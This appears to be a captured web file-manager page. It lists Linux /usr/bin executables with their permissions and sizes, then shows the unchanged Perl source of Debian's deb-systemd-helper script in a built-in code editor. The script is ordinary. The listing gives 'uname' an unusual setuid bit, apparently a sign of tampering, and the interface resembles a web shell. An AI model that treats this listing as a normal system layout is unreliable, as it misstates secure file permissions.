-rwxr-xr-x
systemd-machine-id-setup
18.48
KB
-rwxr-xr-x
systemd-mount
50.59
KB
-rwxr-xr-x
systemd-notify
18.38
KB
-rwxr-xr-x
systemd-path
18.37
KB
-rwxr-xr-x
systemd-repart
150.69
KB
-rwxr-xr-x
systemd-run
58.57
KB
-rwxr-xr-x
systemd-socket-activate
26.38
KB
-rwxr-xr-x
systemd-stdio-bridge
18.38
KB
-rwxr-xr-x
systemd-sysext
42.49
KB
-rwxr-xr-x
systemd-sysusers
62.68
KB
-rwxr-xr-x
systemd-tmpfiles
110.57
KB
-rwxr-xr-x
systemd-tty-ask-password-agent
34.38
KB
-rwxr-xr-x
systemd-umount
50.59
KB
-rwxr-xr-x
tabs
18.23
KB
-rwxr-xr-x
tac
111.05
KB
-rwxr-xr-x
tail
75.14
KB
-rwxr-xr-x
tar
519.52
KB
-rwxr-xr-x
taskset
62.31
KB
-rwxr-xr-x
tbl
146.43
KB
-rwxr-xr-x
tbl-dctrl
39.04
KB
-rwxr-xr-x
tcpdump
1.21
MB
-rwxr-xr-x
tee
42.95
KB
-rwxr-xr-x
tempfile
14.18
KB
-rwxr-xr-x
test
58.89
KB
-rwxr-xr-x
tic
90.34
KB
-rwxr-xr-x
timedatectl
42.37
KB
-rwxr-xr-x
timeout
47.49
KB
-rwxr-xr-x
tload
18.32
KB
-rwxr-xr-x
toe
22.23
KB
-rwxr-xr-x
top
131.58
KB
-rwxr-xr-x
touch
107.05
KB
-rwxr-xr-x
tput
26.27
KB
-rwxr-xr-x
tr
54.89
KB
-rwxr-xr-x
traceproto
2.82
KB
-rwxr-xr-x
traceproto.db
2.82
KB
-rwxr-xr-x
traceroute
71.23
KB
-rwxr-xr-x
traceroute-nanog
1.58
KB
-rwxr-xr-x
traceroute.db
71.23
KB
-rwxr-xr-x
traceroute6
71.23
KB
-rwxr-xr-x
traceroute6.db
71.23
KB
-rwxr-xr-x
troff
755.83
KB
-rwxr-xr-x
true
34.83
KB
-rwxr-xr-x
truncate
42.89
KB
-rwxr-xr-x
tset
30.24
KB
-rwxr-xr-x
tsort
54.89
KB
-rwxr-xr-x
tty
34.86
KB
-rwxr-xr-x
tzselect
14.99
KB
-rwxr-xr-x
ubuntu-cloudimg-query
8.37
KB
-rwxr-xr-x
ucf
40.69
KB
-rwxr-xr-x
ucfq
18.91
KB
-rwxr-xr-x
ucfr
10.85
KB
-rwxr-xr-x
uclampset
62.31
KB
-rwxr-xr-x
udevadm
1.29
MB
-rwxr-xr-x
ul
22.31
KB
-rwxr-xr-x
umount
34.3
KB
-rwsr-xr-x
uname
42.86
KB
-rwxr-xr-x
unattended-upgrade
97.21
KB
-rwxr-xr-x
unattended-upgrades
97.21
KB
-rwxr-xr-x
uncompress
2.29
KB
-rwxr-xr-x
unexpand
42.92
KB
-rwxr-xr-x
uniq
46.95
KB
-rwxr-xr-x
unlink
38.83
KB
-rwxr-xr-x
unlzma
82.7
KB
-rwxr-xr-x
unmkinitramfs
3.59
KB
-rwxr-xr-x
unshare
82.54
KB
-rwxr-xr-x
unxz
82.7
KB
-rwxr-xr-x
unzip
175.05
KB
-rwxr-xr-x
unzipsfx
82.86
KB
-rwxr-xr-x
unzstd
1.22
MB
-rwxr-xr-x
update-alternatives
58.31
KB
-rwxr-xr-x
uptime
14.3
KB
-rwxr-xr-x
users
38.89
KB
-rwxr-xr-x
utmpdump
30.3
KB
-rwxr-xr-x
uuidgen
18.3
KB
-rwxr-xr-x
uuidparse
42.31
KB
-rwxr-xr-x
vcs-run
6.75
KB
-rwxr-xr-x
vdir
147.8
KB
-rwxr-xr-x
vi
3.48
MB
-rwxr-xr-x
view
3.48
MB
-rwxr-xr-x
vim
3.48
MB
-rwxr-xr-x
vim.basic
3.48
MB
-rwxr-xr-x
vim.tiny
1.55
MB
-rwxr-xr-x
vimdiff
3.48
MB
-rwxr-xr-x
vimtutor
2.1
KB
-rwxr-xr-x
vmstat
34.72
KB
-rwxr-xr-x
w
22.3
KB
-rwxr-xr-x
wall
38.3
KB
-rwxr-xr-x
watch
26.71
KB
-rwxr-xr-x
wc
51.05
KB
-rwxr-xr-x
wdctl
70.34
KB
-rwxr-xr-x
wget
459.36
KB
-rwxr-xr-x
whatis
51.29
KB
-rwxr-xr-x
whereis
30.77
KB
-rwxr-xr-x
which
946
B
-rwxr-xr-x
which.debianutils
946
B
-rwxr-xr-x
whiptail
26.75
KB
-rwxr-xr-x
who
59.02
KB
-rwxr-xr-x
whoami
38.86
KB
-rwxr-xr-x
write
22.31
KB
-rwxr-xr-x
write-mime-multipart
3.54
KB
-rwxr-xr-x
x86_64
26.58
KB
-rwxr-xr-x
x86_64-linux-gnu-addr2line
23.14
KB
-rwxr-xr-x
x86_64-linux-gnu-ar
51.17
KB
-rwxr-xr-x
x86_64-linux-gnu-as
897.41
KB
-rwxr-xr-x
x86_64-linux-gnu-c++filt
18.51
KB
-rwxr-xr-x
x86_64-linux-gnu-cpp
1.24
MB
-rwxr-xr-x
x86_64-linux-gnu-cpp-12
1.24
MB
-rwxr-xr-x
x86_64-linux-gnu-dwp
1.79
MB
-rwxr-xr-x
x86_64-linux-gnu-elfedit
35.03
KB
-rwxr-xr-x
x86_64-linux-gnu-g++
1.25
MB
-rwxr-xr-x
x86_64-linux-gnu-g++-12
1.25
MB
-rwxr-xr-x
x86_64-linux-gnu-gcc
1.24
MB
-rwxr-xr-x
x86_64-linux-gnu-gcc-12
1.24
MB
-rwxr-xr-x
x86_64-linux-gnu-gcc-ar
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcc-ar-12
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcc-nm
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcc-nm-12
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcc-ranlib
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcc-ranlib-12
34.54
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov
720.16
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov-12
720.16
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov-dump
568.02
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov-dump-12
568.02
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov-tool
588.09
KB
-rwxr-xr-x
x86_64-linux-gnu-gcov-tool-12
588.09
KB
-rwxr-xr-x
x86_64-linux-gnu-gold
2.99
MB
-rwxr-xr-x
x86_64-linux-gnu-gp-archive
159.06
KB
-rwxr-xr-x
x86_64-linux-gnu-gp-collect-ap...
175.27
KB
-rwxr-xr-x
x86_64-linux-gnu-gp-display-ht...
578.29
KB
-rwxr-xr-x
x86_64-linux-gnu-gp-display-sr...
150.81
KB
-rwxr-xr-x
x86_64-linux-gnu-gp-display-te...
257.3
KB
-rwxr-xr-x
x86_64-linux-gnu-gprof
108.35
KB
-rwxr-xr-x
x86_64-linux-gnu-gprofng
146.59
KB
-rwxr-xr-x
x86_64-linux-gnu-ld
1.27
MB
-rwxr-xr-x
x86_64-linux-gnu-ld.bfd
1.27
MB
-rwxr-xr-x
x86_64-linux-gnu-ld.gold
2.99
MB
-rwxr-xr-x
x86_64-linux-gnu-lto-dump
30.47
MB
-rwxr-xr-x
x86_64-linux-gnu-lto-dump-12
30.47
MB
-rwxr-xr-x
x86_64-linux-gnu-nm
44.03
KB
-rwxr-xr-x
x86_64-linux-gnu-objcopy
155.66
KB
-rwxr-xr-x
x86_64-linux-gnu-objdump
362.56
KB
-rwxr-xr-x
x86_64-linux-gnu-ranlib
51.17
KB
-rwxr-xr-x
x86_64-linux-gnu-readelf
751.38
KB
-rwxr-xr-x
x86_64-linux-gnu-size
26.86
KB
-rwxr-xr-x
x86_64-linux-gnu-strings
30.98
KB
-rwxr-xr-x
x86_64-linux-gnu-strip
155.7
KB
-rwxr-xr-x
xargs
70.45
KB
-rwxr-xr-x
xmlcatalog
22.23
KB
-rwxr-xr-x
xmllint
74.91
KB
-rwxr-xr-x
xsubpp
5.05
KB
-rwxr-xr-x
xz
82.7
KB
-rwxr-xr-x
xzcat
82.7
KB
-rwxr-xr-x
xzcmp
7.25
KB
-rwxr-xr-x
xzdiff
7.25
KB
-rwxr-xr-x
xzegrep
10.09
KB
-rwxr-xr-x
xzfgrep
10.09
KB
-rwxr-xr-x
xzgrep
10.09
KB
-rwxr-xr-x
xzless
1.77
KB
-rwxr-xr-x
xzmore
2.14
KB
-rwxr-xr-x
yes
38.83
KB
-rwxr-xr-x
ypdomainname
22.15
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.31
KB
-rwxr-xr-x
zdump
22.52
KB
-rwxr-xr-x
zegrep
29
B
-rwxr-xr-x
zfgrep
29
B
-rwxr-xr-x
zforce
2.03
KB
-rwxr-xr-x
zgrep
7.91
KB
-rwxr-xr-x
zip
212.27
KB
-rwxr-xr-x
zipcloak
92.48
KB
-rwxr-xr-x
zipdetails
68.55
KB
-rwxr-xr-x
zipgrep
2.89
KB
-rwxr-xr-x
zipinfo
175.05
KB
-rwxr-xr-x
zipnote
84.16
KB
-rwxr-xr-x
zipsplit
88.19
KB
-rwxr-xr-x
zless
2.15
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.47
KB
-rwxr-xr-x
zstd
1.22
MB
-rwxr-xr-x
zstdcat
1.22
MB
-rwxr-xr-x
zstdgrep
3.78
KB
-rwxr-xr-x
zstdless
197
B
-rwxr-xr-x
zstdmt
1.22
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deb-systemd-helper
#!/usr/bin/perl # vim:ts=4:sw=4:expandtab # © 2013-2014 Michael Stapelberg <stapelberg@debian.org> # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Michael Stapelberg nor the # names of contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # . # THIS SOFTWARE IS PROVIDED BY Michael Stapelberg ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL Michael Stapelberg BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =head1 NAME deb-systemd-helper - subset of systemctl for machines not running systemd =head1 SYNOPSIS B<deb-systemd-helper> enable | disable | purge | mask | unmask | is-enabled | was-enabled | debian-installed | update-state | reenable S<I<unit file> ...> =head1 DESCRIPTION B<deb-systemd-helper> is a Debian-specific helper script which re-implements the enable, disable, is-enabled and reenable commands from systemctl. The "enable" action will only be performed once (when first installing the package). On the first "enable", a state file is created which will be deleted upon "purge". The "mask" action will keep state on whether the service was enabled/disabled before and will properly return to that state on "unmask". The "was-enabled" action is not present in systemctl, but is required in Debian so that we can figure out whether a service was enabled before we installed an updated service file. See http://bugs.debian.org/717603 for details. The "debian-installed" action is also not present in systemctl. It returns 0 if the state file of at least one of the given units is present. The "update-state" action is also not present in systemctl. It updates B<deb-systemd-helper>'s state file, removing obsolete entries (e.g. service files that are no longer shipped by the package) and adding new entries (e.g. new service files shipped by the package) without enabling them. B<deb-systemd-helper> is intended to be used from maintscripts to enable systemd unit files. It is specifically NOT intended to be used interactively by users. Instead, users should run systemd and use systemctl, or not bother about the systemd enabled state in case they are not running systemd. =head1 ENVIRONMENT =over 4 =item B<_DEB_SYSTEMD_HELPER_DEBUG> If you export _DEB_SYSTEMD_HELPER_DEBUG=1, deb-systemd-helper will print debug messages to stderr (thus visible in dpkg runs). Please include these when filing a bugreport. =item B<DPKG_ROOT> Instead of working on the filesystem root /, perform all operations on a chroot system in the directory given by DPKG_ROOT. =back =cut use strict; use warnings; use File::Path qw(make_path); # in core since Perl 5.001 use File::Basename; # in core since Perl 5 use File::Temp qw(tempfile); # in core since Perl 5.6.1 use Getopt::Long; # in core since Perl 5 # Make Data::Dumper::Dumper available if present (not present on systems that # only have perl-base, not perl). eval { require Data::Dumper; } or *Data::Dumper::Dumper = sub { "no Data::Dumper" }; my $dpkg_root = $ENV{DPKG_ROOT} // ''; use constant { SYSTEM_INSTANCE_ENABLED_STATE_DIR => '/var/lib/systemd/deb-systemd-helper-enabled', USER_INSTANCE_ENABLED_STATE_DIR => '/var/lib/systemd/deb-systemd-user-helper-enabled', SYSTEM_INSTANCE_MASKED_STATE_DIR => '/var/lib/systemd/deb-systemd-helper-masked', USER_INSTANCE_MASKED_STATE_DIR => '/var/lib/systemd/deb-systemd-user-helper-masked', }; my $quiet = 0; my $instance = 'system'; my $enabled_state_dir = $dpkg_root . SYSTEM_INSTANCE_ENABLED_STATE_DIR; my $masked_state_dir = $dpkg_root . SYSTEM_INSTANCE_MASKED_STATE_DIR; # Globals are bad, but in this specific case, it really makes things much # easier to write and understand. my $changed_sth; my $has_systemctl = -x "$dpkg_root/bin/systemctl" || -x "$dpkg_root/usr/bin/systemctl"; sub assertdpkgroot { my ($path, $msg) = @_; if (length $ENV{DPKG_ROOT}) { if ($path !~ /^\Q$dpkg_root\E/) { error("doesn't start with dpkg_root: $path $msg"); } if ($path =~ /^\Q$dpkg_root$dpkg_root\E/) { error("double dpkg_root: $path $msg"); } } } sub assertnotdpkgroot { my ($path, $msg) = @_; if (length $ENV{DPKG_ROOT}) { if ($path =~ /^\Q$dpkg_root\E/) { error("starts with dpkg_root: $path $msg"); } } } sub error { print STDERR "$0: error: @_\n"; exit (1); } sub debug { my ($msg) = @_; return if !defined($ENV{_DEB_SYSTEMD_HELPER_DEBUG}) || $ENV{_DEB_SYSTEMD_HELPER_DEBUG} != 1; print STDERR "(deb-systemd-helper DEBUG) $msg\n"; } sub is_purge { return (defined($ENV{_DEB_SYSTEMD_HELPER_PURGE}) && $ENV{_DEB_SYSTEMD_HELPER_PURGE} == 1) } sub find_unit { my ($scriptname) = @_; my $service_path = $scriptname; if (-f "$dpkg_root/etc/systemd/$instance/$scriptname") { $service_path = "/etc/systemd/$instance/$scriptname"; } elsif (-f "$dpkg_root/lib/systemd/$instance/$scriptname") { $service_path = "/lib/systemd/$instance/$scriptname"; } elsif (-f "$dpkg_root/usr/lib/systemd/$instance/$scriptname") { $service_path = "/usr/lib/systemd/$instance/$scriptname"; } return $service_path; } sub dsh_state_path { my ($scriptname) = @_; return $enabled_state_dir . '/' . basename($scriptname) . '.dsh-also'; } sub state_file_entries { my ($dsh_state) = @_; debug "Reading state file $dsh_state"; my @entries; if (open(my $fh, '<', $dsh_state)) { @entries = map { chomp; "$dpkg_root$_" } <$fh>; close($fh); } return @entries; } # Writes $service_link into $dsh_state unless it’s already in there. sub record_in_statefile { my ($dsh_state, $service_link) = @_; assertdpkgroot($dsh_state, "record_in_statefile"); assertnotdpkgroot($service_link, "record_in_statefile"); # Appending a newline makes the following code simpler; we can skip # chomp()ing and appending newlines in every print. $service_link .= "\n"; make_path(dirname($dsh_state)); my $line_exists; my ($outfh, $tmpname) = tempfile('.stateXXXXX', DIR => dirname($dsh_state), SUFFIX => '.tmp', UNLINK => 0); chmod(0644, $tmpname); if (-e $dsh_state) { open(my $infh, '<', $dsh_state) or error("unable to read from $dsh_state"); while (<$infh>) { $line_exists = 1 if $_ eq $service_link; print $outfh $_; } close($infh); } print $outfh $service_link unless $line_exists; close($outfh) or error("unable to close $tmpname"); debug "Renaming temp file $tmpname to state file $dsh_state"; rename($tmpname, $dsh_state) or error("Unable to move $tmpname to $dsh_state"); } # Gets the transitive closure of links, i.e. all links that need to be created # when enabling this service file. Not straight-forward because service files # can refer to other service files using Also=. sub get_link_closure { my ($scriptname, $service_path, @visited) = @_; assertnotdpkgroot($service_path, "get_link_closure"); my @links; my @wants_dirs; my $unit_name = basename($service_path); my $wanted_target = $unit_name; # The keys parsed from the unit file below can only have unit names # as values. Since unit names can't have whitespace in systemd, # simply use split and strip any leading/trailing quotes. See # systemd-escape(1) for examples of valid unit names. open my $fh, '<', "$dpkg_root$service_path" or error("unable to read $dpkg_root$service_path"); while (my $line = <$fh>) { chomp($line); my $service_link; if ($line =~ /^\s*(WantedBy|RequiredBy)=(.+)$/i) { for my $value (split(/\s+/, $2)) { $value =~ s/^(["'])(.*)\g1$/$2/; my $wants_dir = "/etc/systemd/$instance/$value"; $wants_dir .= '.wants' if $1 eq 'WantedBy'; $wants_dir .= '.requires' if $1 eq 'RequiredBy'; push @wants_dirs, "$wants_dir/"; } } if ($line =~ /^\s*Also=(.+)$/i) { for my $value (split(/\s+/, $1)) { $value =~ s/^(["'])(.*)\g1$/$2/; if ($value ne $unit_name and not grep $_ eq $value, @visited) { # We can end up in an infinite recursion, so remember what units we # already processed to break it push @visited, $value; push @links, get_link_closure($value, find_unit($value), @visited); } } } if ($line =~ /^\s*Alias=(.+)$/i) { for my $value (split(/\s+/, $1)) { $value =~ s/^(["'])(.*)\g1$/$2/; if ($value ne $unit_name) { push @links, { dest => $service_path, src => "/etc/systemd/$instance/$1" }; } } } if ($line =~ /^\s*DefaultInstance=\s*(["']?+)(.+)\g1\s*$/i) { $wanted_target = $2; $wanted_target = $unit_name =~ s/^(.*\@)(\.\w+)$/$1$wanted_target$2/r; } } close($fh); for my $wants_dir (@wants_dirs) { push @links, { dest => $service_path, src => $wants_dir . $wanted_target }; } return @links; } sub all_links_installed { my ($scriptname, $service_path) = @_; my @links = get_link_closure($scriptname, $service_path); foreach my $link (@links) { assertnotdpkgroot($link->{src}, "all_links_installed"); } my @missing_links = grep { ! -l "$dpkg_root$_->{src}" } @links; return (@missing_links == 0); } sub no_link_installed { my ($scriptname, $service_path) = @_; my @links = get_link_closure($scriptname, $service_path); foreach my $link (@links) { assertnotdpkgroot($link->{src}, "all_links_installed"); } my @existing_links = grep { -l "$dpkg_root$_->{src}" } @links; return (@existing_links == 0); } sub enable { my ($scriptname, $service_path) = @_; if ($has_systemctl) { # We use 'systemctl preset' on the initial installation only. # On upgrade, we manually add the missing symlinks only if the # service already has some links installed. Using 'systemctl # preset' allows administrators and downstreams to alter the # enable policy using systemd-native tools. my $create_links = 0; if (debian_installed($scriptname)) { $create_links = 1 unless no_link_installed($scriptname, $service_path); } else { debug "Using systemctl preset to enable $scriptname"; my $systemd_root = '/'; if ($dpkg_root ne '') { $systemd_root = $dpkg_root; } system("systemctl", "--root=$systemd_root", $instance eq "user" ? "--global" : "--system", "--preset-mode=enable-only", "preset", $scriptname) == 0 or error("systemctl preset failed on $scriptname: $!"); } make_systemd_links($scriptname, $service_path, create_links => $create_links); } else { # We create all the symlinks ourselves make_systemd_links($scriptname, $service_path); } } sub make_systemd_links { my ($scriptname, $service_path, %opts) = @_; $opts{'create_links'} //= 1; my $dsh_state = dsh_state_path($scriptname); my @links = get_link_closure($scriptname, $service_path); for my $link (@links) { my $service_path = $link->{dest}; my $service_link = $link->{src}; record_in_statefile($dsh_state, $service_link); my $statefile = $service_link; $statefile =~ s,^/etc/systemd/$instance/,$enabled_state_dir/,; $service_link = "$dpkg_root$service_link"; assertdpkgroot($statefile, "make_systemd_links"); assertdpkgroot($service_link, "make_systemd_links"); assertnotdpkgroot($service_path, "make_systemd_links"); next if -e $statefile; if ($opts{'create_links'} && ! -l $service_link) { make_path(dirname($service_link)); symlink($service_path, $service_link) or error("unable to link $service_link to $service_path: $!"); $changed_sth = 1; } # Store the fact that we ran enable for this service_path, # so that we can skip enable the next time. # This allows us to call deb-systemd-helper unconditionally # and still only enable unit files on the initial installation # of a package. make_path(dirname($statefile)); open(my $fh, '>>', $statefile) or error("Failed to create/touch $statefile"); close($fh) or error("Failed to create/touch $statefile"); } } # In contrary to make_systemd_links(), which only modifies the state file in an # append-only fashion, update_state() can also remove entries from the state # file. # # The distinction is important because update_state() should only be called # when the unit file(s) are guaranteed to be on-disk, e.g. on package updates, # but not on package removals. sub update_state { my ($scriptname, $service_path) = @_; my $dsh_state = dsh_state_path($scriptname); my @links = get_link_closure($scriptname, $service_path); assertdpkgroot($dsh_state, "update_state"); debug "Old state file contents: " . Data::Dumper::Dumper([ state_file_entries($dsh_state) ]); make_path(dirname($dsh_state)); my ($outfh, $tmpname) = tempfile('.stateXXXXX', DIR => dirname($dsh_state), SUFFIX => '.tmp', UNLINK => 0); chmod(0644, $tmpname); for my $link (@links) { assertnotdpkgroot($link->{src}, "update_state"); print $outfh $link->{src} . "\n"; } close($outfh) or error("Failed to close $tmpname"); debug "Renaming temp file $tmpname to state file $dsh_state"; rename($tmpname, $dsh_state) or error("Unable to move $tmpname to $dsh_state"); debug "New state file contents: " . Data::Dumper::Dumper([ state_file_entries($dsh_state) ]); } sub was_enabled { my ($scriptname) = @_; my @entries = state_file_entries(dsh_state_path($scriptname)); debug "Contents: " . Data::Dumper::Dumper(\@entries); for my $link (@entries) { assertdpkgroot($link, "was_enabled"); if (! -l $link) { debug "Link $link is missing, considering $scriptname was-disabled."; return 0; } } debug "All links present, considering $scriptname was-enabled."; return 1; } sub debian_installed { my ($scriptname) = @_; return -f dsh_state_path($scriptname); } sub remove_links { my ($service_path) = @_; my $dsh_state = dsh_state_path($service_path); my @entries = state_file_entries($dsh_state); debug "Contents: " . Data::Dumper::Dumper(\@entries); assertdpkgroot($dsh_state, "remove_links"); assertnotdpkgroot($service_path, "remove_links"); if (is_purge()) { unlink($dsh_state) if -e $dsh_state; } # Also disable all the units which were enabled when this one was enabled. for my $link (@entries) { # Delete the corresponding state file: # • Always when purging # • If the user did not disable (= link still exists) the service. # If we don’t do this, the link will be deleted a few lines down, # but not re-created when re-installing the package. assertdpkgroot($link, "remove_links"); if (is_purge() || -l $link) { my $link_state = $link; $link_state =~ s,^\Q$dpkg_root\E/etc/systemd/$instance/,$enabled_state_dir/,; unlink($link_state); } next unless -l $link; unlink($link) or print STDERR "$0: unable to remove '$link': $!\n"; $changed_sth = 1; } # Read $service_path, recurse for all Also= units. # This might not work when $service_path was already deleted, # i.e. after apt-get remove. In this case we just return # silently in order to not confuse the user about whether # disabling actually worked or not — the case is handled by # dh_installsystemd generating an appropriate disable # command by parsing the service file at debhelper-time. open(my $fh, '<', "$dpkg_root$service_path") or return; while (my $line = <$fh>) { chomp($line); my $service_link; if ($line =~ /^\s*Also=(.+)$/i) { remove_links(find_unit($1)); } } close($fh); } # Recursively deletes a directory structure, if all (!) components are empty, # e.g. to clean up after purging. sub rmdir_if_empty { my ($dir) = @_; debug "rmdir_if_empty $dir"; rmdir_if_empty($_) for (grep { -d } <$dir/*>); if (!rmdir($dir)) { debug "rmdir($dir) failed ($!)"; } } sub mask_service { my ($scriptname, $service_path) = @_; my $mask_link = "$dpkg_root/etc/systemd/$instance/" . basename($service_path); if (-e $mask_link) { # If the link already exists, don’t do anything. return if -l $mask_link && readlink($mask_link) eq '/dev/null'; # If the file already exists, the user most likely copied the .service # file to /etc/ to change it in some way. In this case we don’t need to # mask the .service in the first place, since it will not be removed by # dpkg. debug "$mask_link already exists, not masking."; return; } make_path(dirname($mask_link)); # clean up after possible leftovers from Alias= to self (LP#1439793) unlink($mask_link); symlink('/dev/null', $mask_link) or error("unable to link $mask_link to /dev/null: $!"); $changed_sth = 1; my $statefile = $mask_link; $statefile =~ s,^\Q$dpkg_root\E/etc/systemd/$instance/,$masked_state_dir/,; # Store the fact that we masked this service, so that we can unmask it on # installation time. We cannot unconditionally unmask because that would # interfere with the user’s decision to mask a service. make_path(dirname($statefile)); open(my $fh, '>>', $statefile) or error("Failed to create/touch $statefile"); close($fh) or error("Failed to create/touch $statefile"); } sub unmask_service { my ($scriptname, $service_path) = @_; my $mask_link = "$dpkg_root/etc/systemd/$instance/" . basename($service_path); # Not masked? Nothing to do. return unless -e $mask_link; if (! -l $mask_link || readlink($mask_link) ne '/dev/null') { debug "Not unmasking $mask_link because it is not a link to /dev/null"; return; } my $statefile = $mask_link; $statefile =~ s,^\Q$dpkg_root\E/etc/systemd/$instance/,$masked_state_dir/,; if (! -e $statefile) { debug "Not unmasking $mask_link because the state file $statefile does not exist"; return; } unlink($mask_link) or error("unable to remove $mask_link: $!"); $changed_sth = 1; unlink($statefile); } my $result = GetOptions( "quiet" => \$quiet, "user" => sub { $instance = 'user'; }, "system" => sub { $instance = 'system'; }, # default ); if ($instance eq 'user') { debug "is user unit = yes"; $enabled_state_dir = $dpkg_root . USER_INSTANCE_ENABLED_STATE_DIR; $masked_state_dir = $dpkg_root . USER_INSTANCE_MASKED_STATE_DIR; } my $action = shift; if (!defined($action)) { # Called without arguments. Explain that this script should not be run interactively. print "$0 is a program which should be called by dpkg maintscripts only.\n"; print "Please do not run it interactively, ever. Also see the manpage deb-systemd-helper(1).\n"; exit 0; } if (!$ENV{DPKG_MAINTSCRIPT_PACKAGE}) { print STDERR "$0 was not called from dpkg. Exiting.\n"; exit 1; } if ($action eq 'purge') { $ENV{_DEB_SYSTEMD_HELPER_PURGE} = 1; $action = 'disable'; } debug "is purge = " . (is_purge() ? "yes" : "no"); my $rc = 0; if ($action eq 'is-enabled' || $action eq 'was-enabled' || $action eq 'debian-installed') { $rc = 1; } for my $scriptname (@ARGV) { my $service_path = find_unit($scriptname); debug "action = $action, scriptname = $scriptname, service_path = $service_path"; if ($action eq 'is-enabled') { my $enabled = all_links_installed($scriptname, $service_path); print STDERR ($enabled ? "enabled\n" : "disabled\n") unless $quiet; $rc = 0 if $enabled; } # was-enabled is the same as is-enabled, but only considers links recorded # in the state file. This is useful after package upgrades, to determine # whether the unit file was enabled before upgrading, even if the unit file # has changed and is not entirely enabled currently (due to a new Alias= # line for example). # # If all machines were running systemd, this issue would not be present # because is-enabled would query systemd, which would not have picked up # the new unit file yet. if ($action eq 'was-enabled') { my $enabled = was_enabled($scriptname); print STDERR ($enabled ? "enabled\n" : "disabled\n") unless $quiet; $rc = 0 if $enabled; } if ($action eq 'update-state') { update_state($scriptname, $service_path); } if ($action eq 'debian-installed') { $rc = 0 if debian_installed($scriptname); } if ($action eq 'reenable') { remove_links($service_path); make_systemd_links($scriptname, $service_path); } if ($action eq 'disable') { remove_links($service_path); # Clean up the state dir if it’s empty, or at least clean up all empty # subdirectories. Necessary to cleanly pass a piuparts run. rmdir_if_empty($dpkg_root . SYSTEM_INSTANCE_ENABLED_STATE_DIR); rmdir_if_empty($dpkg_root . USER_INSTANCE_ENABLED_STATE_DIR); # Same with directories below /etc/systemd, where we create symlinks. # If systemd is not installed (and no other package shipping service # files), this would make piuparts fail, too. rmdir_if_empty($_) for (grep { -d } <$dpkg_root/etc/systemd/system/*>); rmdir_if_empty($_) for (grep { -d } <$dpkg_root/etc/systemd/user/*>); } if ($action eq 'enable') { enable($scriptname, $service_path); } if ($action eq 'mask') { mask_service($scriptname, $service_path); } if ($action eq 'unmask') { unmask_service($scriptname, $service_path); # Clean up the state dir if it’s empty, or at least clean up all empty # subdirectories. Necessary to cleanly pass a piuparts run. rmdir_if_empty($dpkg_root . SYSTEM_INSTANCE_MASKED_STATE_DIR); rmdir_if_empty($dpkg_root . USER_INSTANCE_MASKED_STATE_DIR); } } # If we changed anything and this machine is running systemd, tell # systemd to reload so that it will immediately pick up our # changes. if (!length $ENV{DPKG_ROOT} && $changed_sth && $instance eq 'system' && -d "/run/systemd/system") { system("systemctl", "daemon-reload"); } exit $rc; =head1 AUTHOR Michael Stapelberg <stapelberg@debian.org> =cut
Close